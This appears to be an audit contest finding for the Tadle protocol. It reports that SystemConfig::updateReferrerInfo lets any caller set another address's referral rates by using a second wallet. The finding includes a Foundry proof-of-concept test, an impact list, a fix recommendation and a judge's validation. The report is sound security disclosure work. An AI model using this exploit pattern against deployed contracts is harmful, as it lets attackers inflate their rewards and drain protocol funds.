Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Inefficient Access Control in SystemConfig::updateReferrerInfo Function Allows Unauthorized Referral fees manipulation

0x5chn0uf

Summary

The SystemConfig::updateReferrerInfo function has a minimal access control which can be bypassed as the function is external.

This allows any user to update referral information for any address, potentially leading to unauthorized manipulation of referral rates and rewards.

Vulnerability Details

A malicious user could simply use another address to set the rate for his main account, easily avoiding the simple restriction _referrer != _msgSender() set:

function testUnauthorizedReferralManipulation() public {
address attacker = vm.addr(24);
address attackerViaAnotherWallet = vm.addr(42);
​
// In this scenario, the owner update the referral extra rate
vm.prank(user1);
systemConfig.updateReferralExtraRateMap(attacker, 100_000);
​
uint256 maliciousReferrerRate = baseReferralRate + systemConfig.referralExtraRateMap(attacker); // Maximal referral rate
uint256 maliciousAuthorityRate = 0; // Minimal authority rate
​
// Attacker updates referral info for the victim
vm.prank(attackerViaAnotherWallet);
systemConfig.updateReferrerInfo(
attacker,
maliciousReferrerRate,
maliciousAuthorityRate
);
​
// Verify the manipulation
ReferralInfo memory info = systemConfig.getReferralInfo(
attacker
);
assertEq(info.referrerRate, maliciousReferrerRate);
assertEq(info.authorityRate, maliciousAuthorityRate);
}
​

Impact

This vulnerability can be exploited to:

  • Set arbitrary referral rates for any address, by any address.

  • Manipulate referral rewards distribution.

  • Potentially drain funds from the protocol by setting high referral rates for attacker-controlled addresses.

The impact is severe as it defeats the purpose of the access control in place.

Tools Used

Manual review - Testing

Recommendations

Implement proper access control for the updateReferrerInfo function. Only authorized roles (e.g., admin or the referrer themselves) should be able to update referral information.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-SystemConfig-updateReferrerInfo-msgSender

Valid high severity. There are two impacts here due to the wrong setting of the `refferalInfoMap` mapping. 1. Wrong refferal info is always set, so the refferal will always be delegated to the refferer address instead of the caller 2. Anybody can arbitrarily change the referrer and referrer rate of any user, resulting in gaming of the refferal system I prefer #1500 description the most, be cause it seems to be the only issue although without a poc to fully describe all of the possible impacts

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.